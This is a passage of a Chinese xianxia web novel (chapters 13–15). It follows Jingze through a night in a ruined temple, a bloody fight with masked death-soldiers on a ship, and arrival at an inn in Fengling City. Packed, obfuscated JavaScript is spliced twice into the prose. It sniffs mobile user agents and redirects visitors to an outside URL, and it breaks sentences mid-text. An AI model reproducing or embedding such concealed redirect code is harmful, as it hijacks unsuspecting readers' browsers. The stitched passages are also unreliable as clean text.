从此以后,天下所有修士的飞升难度直如登天。那些苦修了数百年的老怪物,原本只差临门一脚便可飞升成仙,却被这扇关闭的门堵在了门外,终生无望。修行之路断了,修士的数量逐年减少,世间的祸乱却越来越多。妖兽横行,盗匪猖獗,民众的日子一天不如一天。要吃的没吃的,要住的没住的,叫花子遍地皆是,路边饿殍不计其数。 景泽听到这里,心中一阵阵发寒。她下意识摸了摸挎包里的木盒子,兄长的死,会不会与这个魔君逸归尘有关? 便在这时,人群中的骂声忽然变了调。 “好在还有仙盟。”一个白发苍苍的老者捋着胡须,感叹道,“若不是仙盟顶着,这天下早就完蛋了。” 此言一出,立时引来一片附和。 “仙盟确是不凡!当年天罚之后,整个天下都散了架,是仙盟站出来收拾残局的。” “可不是!六大宗门,哪个不是仙盟的顶梁柱?长歌宗、离悲宗、天云宗、踏山宗、无情宗、济世宗——缺了哪一个都不成!” “还有六扇门和仙察处,都是仙盟所设。六扇管民间治安,仙察管妖兽作乱,分工明确,各司其职。若不是他们,咱老百姓哪能过上这几日的安稳日子?” “说到仙察处,那可是真办实事!去年城西闹妖兽,仙察处的人二话不说,连夜赶去,三天便将那妖兽给灭了。那可是吃人不吐骨头的妖兽啊,换作从前,谁能管?” 景泽默默听着,心中对仙盟生出几分敬意。在这乱世之中,还有人愿意挺身而出,护佑苍生,确实不易。 她正出神,忽觉脊背一凉,有道光正落在她身上。 那光不轻不重,精准地扎在她后颈之上。 她猛地回过头,目光扫向身后的人群。 一辆马车正从她身旁缓缓驶过。 马车的窗帘刚刚放下,布帘还在微微晃动,像是什么人匆匆收回了目光。 那马车极是普通,青布帷幔,榆木车身,车轮上还沾着泥巴,混在街上的车马人流中毫不起眼。 景泽站在原地,望着那辆马车消失的方向,久久没有移开目光。 那道目光……究竟是何人? 13. 夜宿荒祠遇狂客,晓渡沧海遇谪仙^…… 据说七日之后,一年一度的仙盟大会将在天云宗召开。 说起这仙盟,还得追溯到一百年前那场天罚。彼时魔君逸归尘引下天罚,整块大陆被劈成六块,山河破碎,生灵涂炭。飞升之门关闭,修士修行之路断绝,人间秩序分崩离析。就在这万念俱灰之际,六大宗门联手成立仙盟,扛起了重建天下的重任。 仙盟大会不仅是商讨天下大事、划分资源的庄严场合,更是六大宗门展示底蕴、笼络人心的契机。每逢召开,轮值宗门需大开山门,迎接四海八荒的修士、商贾乃至散修百姓,其热闹程度,堪比一场持续数日的盛世狂欢。今年,终于轮到了位于裂陆极东之地的天云宗。 天云宗位于裂陆六城中央的凤灵城之畔,坐落在天云山上。此山终年云雾缭绕,灵气充沛,据说是当年天罚之下唯一未曾受损的灵脉。 山上宫殿楼阁依山而建,层层叠叠,飞檐翘角隐于苍松翠柏之间。如今临近仙盟大会,山下早已汇聚来自六城的修士与民众,热闹非凡。 · 听闻大会将至,景泽心中一动,便在路边摊买了张粗劣的《裂陆六城堪舆图》。图上朱砂勾勒,显示她所在的沧溟城乃是一座孤悬于东海的巨大岛屿,四面环海,烟波浩渺。 而天云宗则坐落于大陆彼岸的天云山脉之巅,欲要前往,必须先赶到南境的十六湾码头渡海。 景泽把地图叠好收进怀里,背上那个洗得发白的小包袱,一路紧赶慢赶。 她身上的盘缠实在有限,一路上连口水都没舍得买,只盼着能早点赶到码头。然而天不遂人愿,等她终于望见十六湾码头那几根歪歪斜斜的木桩时,夕阳早已沉入海平面以下,暮色四合,码头上的最后一条渡船也收了缆绳,泊口处只余海浪拍打礁石的单调声响。 码头的管事是个蓄着山羊胡的老头儿,正蹲在栈桥边抽烟斗,听见脚步声头也不抬地摆了摆手:“明儿赶早,今儿没船了。” 景泽不死心地朝海面上张望了一眼,黑沉沉的水面连盏渔火都看不见,只好认命。 她在码头附近转了一圈,附近的客栈最便宜一间也要三钱银子,而她兜里那几枚铜板还得留着买船票,实在经不起这般挥霍。 左思右想之后,她把目光投向了离码头大约两公里外的一座庙宇。 庙宇残破不堪,蛛网密布。景泽举着油灯一照,心里顿感发毛,这庙也忒邪门了,大殿中央空空如也,既没有泥塑的佛像金身,也无半点香灰痕迹,连个功德箱和香炉都没有。 这就好比去了酒楼没厨房,来了戏台没戏子,根本不知道这庙当初是供奉谁的,只显得空洞又诡异。 她刚踏进一步,借着月光,瞥见了角落里一张熟悉得令她窒息的脸。 “糟了!”景泽转身欲逃。 “唉!阿泽妹妹!人生何处不相逢,我们又见面了!”云逍如一阵风般窜到她面前,笑容灿烂得碍眼。 景泽嘴角抽搐,挤出一个比哭还难看的笑:“是啊,真巧。” “来来来,夜寒露重,我给你生火取暖。”云逍殷勤地揽住她的肩膀,不由分说往里带。 时值盛夏,景泽一身旅途风尘,热得冒汗,连连摆手:“不冷不冷,真不用麻烦!” “那行吧!”云逍也不强求,自来熟地在一张尚算完整的蒲团上坐下,掏出折扇呼哧呼哧扇风,眼神飘忽地打量她,“阿泽妹妹,咱敞亮点儿!我这惊天地泣鬼神的绝世风姿,是不是晃得你三魂七魄都快没了?这几天你跟个小影子似的跟踪我,该不会是故意要跟我来场‘天雷劈火花’的命中注定邂逅吧?” 你妈,这都是什么跟什么?!谁跟踪他了!她只是路过!景泽刚想否认,还没说出口,被那自恋狂魔给打断了。 “唉!”云逍瞪圆了眼,一副“我看透你了”的表情,“千万别说你没有!女孩子嘴上说‘没有’,心里就是‘有’!说‘不要’,那就是‘要’!这点道理我还是懂的!” “再说了,”他啪地合上折扇,往腰间一插,指尖顺了顺根本不存在的刘海儿,眼尾斜斜地挑着睨她,“本少爷啥段位自己还不清楚?走在街上能让姑娘们扔手帕晕厥,站在巷口能惹得公子哥儿拔剑比美!阿泽妹妹你这点小心思,省省吧!在我云逍的魅力结界里,啥‘欲擒故纵’‘口是心非’全是过家家,连个泡都冒不出来!” 景泽:“……” 她现在的心情已经不能用后悔来形容了,她是肠子都悔青了,恨不得把做出这个决定的自己拎出来扇两巴掌。 那么多能睡的地方,码头边上随便找个屋檐也能凑合,怎么就偏偏选了这间破庙呢!真是天作孽犹可违,自作孽不可活。 那边云逍还沉浸在自己的世界里,喋喋不休。 “阿泽妹妹,我觉得你应该坦诚一点。” “坦诚什么?” 景泽在稻草堆里寻了个还算干净的位置,和衣躺了下去,挑起半边眉毛看他,不明所以。 云逍那张向来厚如城墙的脸皮,竟然罕见地浮上了一层可疑的红晕。 他清了清嗓子,压低声音,用一种循循善诱的语气说道:“当然是坦诚你对我的感情咯,你明明就对我求之不得、思之如狂。你要是肯主动承认你喜欢我,爱我爱得死去活来,神魂颠倒,不可自拔,那我就勉为其难地跟你在一起,如何?” “……” 景泽沉默了一瞬,然后翻了个身,用背对着他,双目紧闭。 她要让云逍切身感受一下,什么叫“你永远叫不醒一个装睡的人”。 耳边安静了大约三息的功夫,就在景泽以为自己终于可以睡过去的时候,云逍的声音又不依不饶地飘了过来:“唉!阿泽妹妹呀,用装睡来逃避对我的感情是没用滴!这样吧,咱们各退一步,你的心意我心知肚明,等我回家,我八抬大轿迎娶你过门如何?嗯?阿泽妹妹?” “……” 景泽咬紧牙关,一动不动。 半梦半醒之间,景泽觉得眼皮前面有两团黑乎乎的影子晃来晃去,时不时还带起一阵细微的风。 她迷迷糊糊地睁开眼,视野里骤然撞进一双放大了无数倍的眼睛,正炯炯有神地凝视着她! 景泽吓得浑身一激灵,腾地坐了起来。 “你干嘛!” 云逍收回悬在半空中的手,一脸无辜地眨了眨眼。 “给你打蚊子啊。刚才有好几只蚊子想叮你的脸,我帮你拍死了,嘿嘿,我是不是很贴心?有没有对我更加心动?我就说我很有魅力吧?” 景泽低头一看,他的掌心里果然躺着两只蚊子的尸骸,翅膀都拍扁了。 “……谢谢啊。” 景泽重新躺下去,在心里默默地发了个毒誓,等天一亮她就偷跑,不然就让她这辈子吃不到肉! · 天终于亮了。 海面上的晨雾还没散尽,十六湾码头已经开始了忙碌的一天。挑担的脚夫、赶船的旅人、扯着嗓子吆喝的船家,乱糟糟地挤作一团。 景泽顶着一双没睡好的乌青眼,挤到售票的窗口前,在豪华头等舱船票和普通船票之间,选了最便宜的那种普通船票之拼票。 所谓拼票,顾名思义,就是跟好些不认识的人挤在一间狭小又密不透风的船舱里,一人占一块屁股大的地方。 景泽攥着票登上船,顺着船舷走到最末尾那间舱室,推开门的一瞬间,她被里面的场面震住了。 五六个膀大腰圆的汉子挤在角落里,个个脸上不是刀疤就是刺青,面相凶悍得能止小儿夜啼。 可此刻他们的表情却一个比一个精彩,有的脸色发白,有的额头冒汗,还有的嘴唇直哆嗦,硬是把自己缩成了一团,恨不得嵌进身后的木板里。 而在这些汉子的对面,靠近舱室另一侧的位置上,端坐着一位白衣女子。 说她是“白衣仙女”一点也不为过。她身形高挑,一袭素白的衣衫纤尘不染,乌发如瀑般垂落,只用一根白玉簪随意挽了个髻。五官生得极为标致,眉如远山,目若寒星,偏偏脸上没什么表情,冷淡得像隔着一层薄霜。 白衣仙女只是安安静静地坐在那里,周身便有一股说不出的气势,让整间舱室的气压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仙女只觉额角青筋一跳,语气中带了三分烦躁:“仙盟大会有何好看?不如留在沧溟城中。这一路风波险恶,你孤身一人,如何应对?” 景泽心宽,并不以此为意。当下咧嘴一笑,露出一口白牙,道:“车到山前必有路,船到桥头自然直。真遇上事了,再想法子便是!” 仙女深吸一口气,闭了闭眼,不再多说了。 这时候,船身微微一滞,速度慢了下来。景泽转头朝窗户外面看去,只见有好些艘巨型船只正排着长长的队伍,依次从他们旁边经过。那些船吃水很深,船身宽大,造型也不像寻常的客船,倒像是专门用来运货的货船。 景泽从没见过那么大的船,好奇地把脑袋探出窗外,问道:“这些船里装的什么呀?” 仙女姐姐见多识广,语气平静地给她解释:“这些船里装的都是灵草,还有一些奇珍异宝。修士用这些东西来辅助修行,可以事半功倍,所以市场需求量很大。但沧溟城四面环海,不产这些,只能从其他城池进货,所以才会有这些运输船队。” “原来如此。”景泽收回脑袋,笑嘻嘻地看着她,眼睛里全是崇拜的光,“姐姐你懂得好多啊!” 仙女淡淡地勾了一下嘴角,那抹笑意极浅极淡,“常年游走江湖,见得多罢了。” 船只在水面上稳稳地行了一路,窗外的景色从湛蓝的海变成苍翠的岸,又变成连绵的山影。舱室里没什么可玩的,那些大汉们依旧缩成一团大气不敢出,仙女姐姐阖着眼假寐,景泽起初还强撑着精神四处张望,渐渐地困意便像潮水一样漫了上来。她打了个哈欠,眼皮越来越沉,不知不觉就睡了过去。 不知过了多久,一声极其响亮的碰撞声猛然炸开,整艘船剧烈地晃了一下。景泽猛地睁开双眼,这才发现自己不知什么时候竟然靠着仙女姐姐的肩膀睡着了,手里还紧紧拽着人家一截袖子,把那雪白的衣料攥出了一片褶皱。 “……!” 她慌忙松开手,心虚地眨了眨眼睛,还没来得及道歉,船身又是猛地一晃!比之前更加剧烈! 紧接着,求救声山呼海啸般传来!!! 14. 凶徒 “杀人啦!快来人啊!” “快跑!有乱贼!” “救命啊!救命!” 豪奢华美的餐室中,觥筹交错笑语盈盈之景象霎时间荡然无存。上百个黑衣蒙面的贼人如潮水般涌入,个个手持弯刀,见人便砍。 刀光落处,鲜血飞溅,惨叫声不绝于耳。一颗颗人头骨碌碌滚落在地,脖颈断口处血柱冲天而起,溅在那雪白的墙壁之上。 餐室中那些达官贵人、豪商富贾,平日里养尊处优,何曾见过这等阵仗?一个个吓得魂飞魄散,面如土色,谁也顾不得谁了,发一声喊,齐齐朝后门蜂拥而去。有人被推倒在地,立时便有七八只脚踩将上去,踩得那人肋骨断裂,口中狂喷鲜血;有人慌不择路,一头撞翻了满桌的酒菜,汤汁淋漓,狼狈不堪;还有人吓得腿脚发软,站都站不起来,只得连滚带爬地往外挪。放眼望去,但见桌椅翻倒,杯盘狼藉,满地皆是鲜血与残羹。 不过片刻功夫,餐室里的人便跑了个干干净净,只余下一个七八岁大的小男孩。 那小男孩瑟缩在墙角,浑身抖如筛糠。细细看去,他右腿微有些跛,行走尚且不便,更遑论奔跑逃命。 他眼睁睁看着一个黑衣人手持弯刀,一步一步朝自己逼来,弯刀上还滴着殷红的鲜血,一滴一滴落在地板上,发出轻微的“啪嗒”声。 不、不,别过来。 他拼命往后缩,可后背已然贴上了冰凉的墙壁,退无可退。那黑衣人的弯刀高高举起,刀锋在烛光下映出森冷的光芒。 小男孩绝望地闭上双眼,双手抱住了头。 便在这千钧一发之际。 “叮!” 一声清脆至极的金铁交鸣之声在他耳边炸开。小男孩猛地睁开眼,只见一柄不知从何处飞来的弯刀,如流星赶月般激射而至,不偏不倚,正正撞在那柄即将落下的弯刀之上。 一个女子挡在了他身前。 那女子身形瘦削,瞧来弱不禁风,然而此刻却挺直了脊背站在那里。 只见她赤手空拳,揉身而上,右手倏地探出,五指如钩,一把扣住那黑衣人持刀的手腕,左掌同时在他肘底一托。这一手“小擒拿手”使得干净利落,那黑衣人只觉手腕一麻,弯刀便已易手。 女子夺刀在手,更不停留,刷刷刷连环三刀劈出,刀刀凌厉,竟将那黑衣人逼得连退了七八步。 那黑衣人闷哼一声,眼中闪过一抹惊愕之色,万没料到这个瞧来弱质纤纤的女子竟有如此身手。他心知遇上了硬点子,不敢恋战,虚晃一刀,转身便走,身形一闪,没入混乱的人群之中,消失不见。 女子转过身来,居高临下地看着那小男孩。 那是一张年轻的脸庞,眉目间还带着几分未曾褪尽的稚气,然而一双眼睛却乌黑发亮,如点漆一般。她对着小男孩微微一笑,那笑容干干净净,暖如春日初阳。 “没事吧,小孩?” 小男孩愣愣地看着她,半晌方才回过神来,意识到自己已然得救,忙不迭地点头,眼眶一红,忍了许久的眼泪终于扑簌簌地滚落下来。 女子见他无恙,便蹲下身来与他平视,神色认真,低声叮嘱道:“现下赶紧寻个安全的地方躲起来,切莫到处乱跑,可听明白了?” 小男孩用力点头,抬起手背,胡乱在脸上抹了一把眼泪。 时间紧迫,女子匆匆交代完毕,提起弯刀,身形一转,便朝外间奔去。 景泽提刀冲出餐室,来到长廊之上,眼前的景象令她不由得倒抽一口凉气。 但见那条长长的走廊之上,横七竖八倒着十来个黑衣人,个个一动不动,也不知是死是活。有的蜷缩成一团,有的仰面朝天,有的歪倒在墙根之下,瞧那模样,分明是被人以极快的手法一击制住,连还手的机会都不曾有。 而在长廊尽头,那白衣仙女正手持一根不知从何处捡来的木棍,以一敌百,与剩下的黑衣人群战作一团。 景泽只瞧了一眼,便再也移不开目光。 但见白衣仙女的身影在人群之中穿梭自如,衣袂飘飘。手中那根木棍或劈或挑,或扫或点,或戳或撩,每一招每一式都凌厉无俦,却又精准得毫厘不差,直指要害而去。 一名黑衣人挥刀当头劈下,刀风呼呼,势大力沉,白衣仙女身形微侧,那刀擦着她的肩头落空,相差不过寸许,木棍轻轻一挑,使了个“粘”字诀,棍头在弯刀背上一搭一引,那黑衣人只觉一股浑厚无比的内力顺着刀身传来,虎口剧震,弯刀脱手飞出,“当啷”一声落在地上。 白衣仙女更不停手,棍头顺势向前一送,正中那人胸口膻中穴,那黑衣人闷哼一声,委顿倒地,再也动弹不得。 又有两名黑衣人从左右同时抢上,两柄弯刀一上一下,一取咽喉,一取小腹,配合得严丝合缝。 白衣仙女却不慌不忙,右手木棍在身前划了个圆圈,只听得“当当”两声,两柄弯刀同时被震开。她左手倏地探出,在那两人肩井穴上各按了一按,那两名黑衣人立马如遭电击,半边身子登时酸麻无力,弯刀拿捏不住,跌落在地。 紧接着,白衣仙女足尖在地板上轻轻一点,整个人凌空跃起,双腿连环踢出,“砰砰”两声,将那两人踢得倒飞出去,撞翻了身后涌上来的三四个人,骨碌碌滚作一团。 景泽瞧得心驰神往,原想上去助战,可眼见仙女姐姐以一敌百,兀自游刃有余,从容不迫,自己这点微末功夫上去,只怕反倒要添乱了。 于是她便干脆靠在墙边,当了个观战之人,仔细揣摩仙女姐姐的每一招每一式。 那棍法精妙绝伦,变化莫测,时而如灵蛇出洞,刁钻诡谲;时而如泰山压顶,气势磅礴;时而如细雨春风,绵绵密密。景泽越看越是心惊,越看越是佩服。她暗暗记下那棍法的招数变化,心道若能学得个一招半式,日后行走江湖,定能派上大用场。 正当她看得如痴如醉之时,眼角余光忽然瞥见一道黑影掠过。 景泽连忙凝神望去,却见另一伙黑衣人正从船舷另一侧悄悄攀爬而上,登上了客船。 景泽的心猛地一紧,悄无声息地握紧了手中弯刀,蹑手蹑脚,沿着舱壁摸了过去。 这伙黑衣人与方才那些大不相同。他们不杀人,也不与人缠斗,行动迅捷而有条不紊,彼此之间配合默契,显然经过极其严格的训练。 景泽隐在暗处,看得分明。只见那些黑衣人手里提着一只硕大的麻袋,正蹲在地上,将那些滚落在地的头颅一只一只捡拾起来,装进麻袋之中。 景泽的心猛地一沉,隐隐觉得此事大有蹊跷。她悄悄探头,朝船舷外望去,这一望之下,心头更是凛然。 只见客船附近,不知何时泊了一艘巨大的货船,正是先前她在海上远远望见过的那种巨型货船。 那货船去而复返,此刻正静静地泊在暮色之中,船身漆黑,吃水极深,甲板上隐约有人影晃动,却听不到半点声息。 那些黑衣人将装满头颅的麻袋运上货船之后,货船便缓缓启动了。巨大的船桨划破水面,发出沉闷而压抑的“哗哗”声响,融入夜色之中。 景泽正欲转身,却忽然发觉还有一个人没有走。 那是一个黑衣人,独自折返回来。他怀中抱着一个沉甸甸的木桶,木桶上贴着朱红色的封条,景泽认得,那是火药桶。 只见黑衣人蹲在船舷边,一只手牢牢抱着火药桶,另一只手探入怀中摸索。片刻之后,摸出了一支火折子。 那人要炸船! 景泽心头剧震,整个人飞身而出,弯刀化作一道匹练也似的寒光,直取那黑衣人的手腕。 这一刀蓄势而发,快如闪电。那黑衣人甚至还没来得及反应,只觉手腕处一凉,随即一阵剧痛排山倒海般袭来。他低头看时,只见自己的一只手已被齐腕斩断,鲜血如泉涌般喷出。 黑衣人疼得浑身剧颤,额上青筋根根暴起,豆大的汗珠滚滚而下。然此人当真硬气,如此剧痛之下,竟硬是咬紧了牙关,没有叫出声来。 他猛地抬起头,一双眼中满是怨毒狠戾的杀意,死死地瞪着景泽。他顾不得那火药桶了,俯身用仅剩的一只手捡起跌落在地的弯刀,喉间发出一声巨吼,合身朝景泽扑来。 这一刀又快又狠,刀锋破空,发出尖锐的厉啸,直取景泽面门。景泽侧身闪避,那刀锋擦着她的脸颊掠过,寒气森森,削断了她鬓边几缕碎发。 黑衣人不给她丝毫喘息之机,一刀接着一刀,如狂风暴雨般砍将过来,刀刀都是拼命的路数,只攻不守,全然不顾自身安危,状若疯子,只求将眼前这个多管闲事的人斩于刀下。 景泽咬紧牙关,奋力抵挡。弯刀与弯刀碰撞,火星四溅,金铁交鸣之声密如连珠。那黑衣人膂力极强,每一刀劈下来都有开碑裂石之势,震得景泽虎口发麻,手臂酸软。 她的武功本就算不得高明,灵脉被封之后更是大打折扣,此刻面对这个悍不畏死的亡命之徒,渐渐落了下风。 “铿!” 一声脆响,景泽手中的弯刀竟被那黑衣人一刀生生斩断。 黑衣人眼中杀意更盛,嘴角甚至浮起一丝狰狞而得意的笑。他高举弯刀,刀锋在月色下泛着惨白的光,朝景泽狠狠劈落。 便在这电光石火的一瞬间,景泽猛地将手中那半截断刀奋力掷出。 黑衣人本能地缩颈藏头,弯腰躲闪。那半截弯刀擦着他的头顶飞过,“嗤”的一声,将他蒙面的黑巾削下一角,露出半张满是横肉的脸。 而就在他弯腰闪避、中门大开的那一刹那,景泽原地腾身而起,一脚狠狠踹在那黑衣人的胸口。 这一脚景泽倾尽了全身之力。“砰”的一声闷响,那黑衣人整个人如断线的纸鸢般倒飞出去,后背重重砸在船舷的栏杆之上。那栏杆乃是粗壮的硬木所制,被他这一撞,竟发出“咔嚓”一声裂响,险些折断。 黑衣人张嘴喷出一大口鲜血,血雾在月光下弥漫开来,触目惊心。与此同时,他手中的弯刀脱手飞出,“哐当”一声落在甲板上,滑出去老远。 景泽飘然落地,胸口剧烈起伏,大口大口喘着粗气。她正欲上前再补一脚,却见那黑衣人嘴角浮起一丝诡异至极的笑,他的目光越过景泽,望向那艘已然远去的货船,眼中闪过一丝释然,仿佛完成了什么重要使命一般。 然后,他的上下颌猛地一合,牙齿咬碎舌根的声音细不可闻,然而在景泽听来,却无异于平地惊雷。 那黑衣人的头软软地歪向一侧,嘴角溢出一缕黑血,就此气绝。 景泽站在他面前,胸脯犹自剧烈起伏,良久良久,方才渐渐平复下来。她低头看了一眼那个火药桶,火折子已然滚落在一旁,万幸没有点燃。 当即飞起一脚,将那火药桶踢入海中,只听“扑通”一声,水花四溅,那火药桶沉入了漆黑如墨的海水之中,转瞬不见。 景泽转身往回走,穿过那条长长的走廊,回到餐室门口。 白衣仙女正站在餐室中央,手持木棍,白裙如雪,纤尘不染。 在她四周,横七竖八倒了一地的黑衣人,有的昏厥过去,有的已然没了气息。那些黑衣人眼见大势已去,又不愿被擒受辱,竟纷纷咬舌自尽。 白衣仙女瞧见景泽朝她走来,唇角微微弯起,“解决完了?” 景泽此刻的模样着实有些狼狈,发丝散乱,衣领歪斜,衣襟上还沾着几滴不知是自己还是那黑衣人的血迹。 她气喘吁吁地点了点头,道:“解决完了。就是不知道那些人是什么来头……他们竟将那些头颅都带走了,好生诡异。” “是么?” 白衣仙女似乎对那些黑衣人的来历并不感兴趣。她的目光将景泽上上下下细细打量了一遍,确认她没有受伤,这才放下心来。 紧接着,她从袖中取出一方雪白的丝帕,走近景泽,轻轻为她擦拭额角的汗珠。 “……那些都是死士。” 她一边替景泽擦汗,一边缓缓说道:“紧要关头咬舌自尽,为的便是不泄露主家的消息。这等死士,训练有素,视死如归,即便去查,也查不出什么来的。” “倒是你,”她顿了顿,目光中带了几分说不清道不明的骄傲与欣慰,“你可真是个勇敢的小姑娘,今日之事,好生让我刮目相看。” 纥奚时砚瞧着景泽那张犹带稚气的脸,这句话,他在心底藏了许久许久,此刻终于寻着了说出口的机会。 白衣仙女身量高挑,比景泽足足高出一个头还要多。景泽被她这般仔仔细细地擦着汗,感受着那方丝帕在额角轻轻拂过的触感,听到那白衣仙女这么说,忽然有些不好意思,她抬手摸了摸鼻子,耳根微微泛红,小声说道: “谢谢姐姐夸奖……我其实也没有那么厉害啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507618|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” · 船只在码头靠岸的时候,天色已然黑透了。 凤灵城到了,景泽与白衣仙女恰好同路,便一同下了船,并肩而行,走入城中。 凤灵城的夜晚,与沧溟城截然不同。 沧溟城一入夜便是一片死寂,家家户户门窗紧闭,街头巷尾黑沉沉的,只偶尔有更夫的梆子声在空荡荡的巷子里回响,一下,两下,透着说不出的凄清冷落。 而凤灵城却是一座不夜之城。宽阔齐整的街道两旁,酒楼茶肆鳞次栉比,家家户户门前都悬着大红灯笼,一串串,一排排,将那整条街照得亮如白昼。绸缎庄、珠宝铺、胭脂坊、书肆、茶馆,一家挨着一家,灯火辉煌,人声鼎沸,热闹非凡。 街上有那杂耍艺人正在表演喷火绝技,只见他含一口烈酒,对着火把猛地一喷,“呼”的一声,一条火龙腾空而起,引来四周围观之人齐声叫好,喝彩声此起彼伏;有卖糖葫芦的小贩推着小车穿梭在人群之中,红艳艳的山楂裹着晶亮亮的糖衣,在灯下泛着诱人的光;还有几个书生模样的年轻人坐在茶楼二层的雕花窗边,一边品着香茗,一边吟诗作对,不时爆发出阵阵朗笑声。 景泽何曾见过如此繁华热闹的景象?脚步不由自主便慢了下来,那一盏盏明亮的灯笼,那一张张鲜活的面孔,以及那一声声热闹的叫卖,都让她觉着新奇而又恍惚。 白衣仙女似乎对这一切早已司空见惯,脚步不停,白衣翩然,在人群中穿行自如。 偶尔她也会回过头来,瞧景泽一眼。 瞧见她那东张西望、满脸惊奇的模样,白衣仙女的眼底便浮起一丝不易察觉的笑意,温柔得很,也纵容得很。 两人寻了一家客栈落脚。 那客栈名叫“云来客栈”,端的是气派非凡,乃是凤灵城中数一数二的大客栈。门面足有五间开阔,朱漆大门上高悬着一块黑底金字的匾额,“云来客栈”四个大字笔力遒劲,龙飞凤舞。门前悬着两盏巨大的琉璃宫灯,灯穗垂着金色流苏,夜风一吹,流苏轻轻摇曳,将门前那一方天地照得通明透亮。 景泽陪着仙女姐姐跨进客栈大门,刚一进去,便被里面的景象震得微微一怔。 那大堂足足有三层楼高,穹顶之上悬着一盏硕大无朋的水晶吊灯,千百颗水晶珠子在烛光映照之下折射出璀璨夺目的光华,星星点点,如梦似幻。地面铺着光可鉴人的大理石,纹理繁复而华美,脚步踩将上去,悄无声息。 柜台后面,掌柜的正拨拉着算盘,算盘珠子噼里啪啦响个不停。几个店小二穿梭在桌椅之间,手托茶壶点心,脚步轻快利落,脸上堆着殷勤的笑,招呼着南来北往的客人。 景泽正自四处打量,忽然瞧见两个店小二正手忙脚乱地往墙上张贴什么物事。她定睛细看,是一张类似于靶子的画像。那画上绘着一个人物,景泽只瞧了一眼,便忍不住皱起了眉头。 那画上的人,五官扭曲,面目狰狞,丑得惊天地泣鬼神。一双眼睛歪歪斜斜,一只高一只低;鼻子塌陷下去,几乎与面颊齐平;嘴巴更是咧到了耳根子,露出一排参差不齐的獠牙。整张脸瞧来,活脱脱像从十八层地狱里爬出来的恶鬼。景泽这辈子除了小时候,便再不曾见过如此丑陋的面孔,一时间竟有些不忍直视,连忙将视线撇开了去。 白衣仙女却是神色如常,目不斜视,径直走到柜台前,与掌柜的说了几句话,只开了一间房。 景泽跟在她身后,正欲上楼,迎面却走来两个彪形大汉。 那两人俱是一身横肉,虎背熊腰,满脸络腮胡子,腰间还别着酒葫芦。他们一眼瞧见白衣仙女,眼睛登时亮了起来,色眯眯的目光在她身上打量个不住。 “哟,美人儿,”为首那个壮汉咧嘴一笑,满嘴酒气扑面而来。不等对方回答,便伸手去搭白衣仙女的肩膀,“我瞧咱们甚是有缘,要不要上我房中吃几杯酒去?我那可有上好的陈年花雕,还有几样精致小菜,保准让你……” 他话还没说完,白衣仙女已然握住了他伸过来的那只手。 只听得“咔咔”两声清脆的骨节响,那壮汉甚至没看清她是如何出手的,只觉手腕处传来一阵钻心剧痛,低头看时,自己的手掌已然软塌塌地垂了下来。 “啊啊啊啊啊!”那壮汉发出一声杀猪般的惨叫,疼得脸都白了,额上冷汗涔涔而下,整个人弯下了腰,抱着那只断手,浑身抖个不停。 他身后那个同伴吓得脸都绿了,他原本也伸出了手,想要去拉扯白衣仙女,此刻那手却僵在半空中,进也不是,退也不是,五个指头微微发抖,一个字也说不出来。 白衣仙女居高临下地看着那惨叫的壮汉,目光冷得像淬了冰:“还要吃酒么?” “不、不吃了!不吃了!”那壮汉疼得眼泪都出来了,连声求饶,“在下有眼不识泰山!女侠饶命!女侠饶命啊!” 他一边说一边往后缩,恨不得将整个人都缩进地缝里去。眼角余光不经意间扫过白衣仙女的脸,他看到了那双眼睛。 “……!” 那一瞬间,他整个人如坠冰窟。 只见那双眼睛的瞳孔深处,两簇倾倒的火焰正幽幽燃烧,焰心呈金红之色,边缘泛着幽蓝的光,只一闪,便隐没不见。 那壮汉差点没当场晕过去,双腿一软,“扑通”一声便跪在了地上。 白衣仙女的目光淡淡地往身后扫了一眼,景泽正站在她身后不远处,歪着脑袋瞧着这一切,眼里带着几分好奇,几分好笑,似乎觉得十分有趣。 白衣仙女沉默了一瞬,终究还是没有再下重手。 那壮汉如蒙大赦,连滚带爬地让到一旁,恨不能将脸贴到墙上去,大气都不敢出一口。 景泽跟在仙女姐姐身后上楼,经过那两个壮汉身侧时,瞧见他们战战兢兢、瑟缩成一团的狼狈模样,忽然间有些明白了。先前在船上时,那几个凶神恶煞般的汉子之所以会对仙女姐姐如此惧怕,想必也是遇着了同样的情形罢。 到了客房门口,白衣仙女伸手推开门,侧身让景泽先进去。 景泽迈过门槛,刚走进房中,还没来得及打量屋内的陈设布置。 “咕噜噜——” 一道极其响亮且绵长的声音,在这安静的房间里回荡开来。 景泽的脸,一瞬间便红透了。 白衣仙女的脚步,微微顿了顿。 15. 凤灵夜宴 景泽随那仙女姐姐行至客栈雅间,原道是几碟清蔬淡饭,推门一看,红木圆桌竟铺陈得满满当当,直叫人眼花缭乱。 清蒸鲈鱼卧在白瓷盘中,泛着莹润的光,红烧排骨裹着浓稠的酱汁,香气钻鼻,酱香肘子皮色酱红透亮,糖醋里脊酸甜开胃,蒜蓉青菜翠色欲滴,莲藕排骨汤咕嘟冒着热气,藕粉肉烂。 还有一整只油光水亮的大烧鸡,皮色金黄焦脆,刚端上桌,那股子肉香便混着脂香扑面而来,险些没把景泽的馋虫勾得直往嗓子眼儿里钻。 景泽瞪圆了眼珠子,喉头咕咚一声:“这……这也太丰盛了吧!我景泽何德何能……” 仙女姐姐已在对面坐下,将一双竹筷递到景泽面前:“你一路奔波,想必饿得狠了,我让店家拣拿手的做了几样,趁热吃罢。” 声音如春风拂面,直暖到人心里去。景泽想起方才自己肚子咕咕乱叫的窘态,脸上虽红,心里却甜丝丝的。 “姐姐,你待我也太好了……” 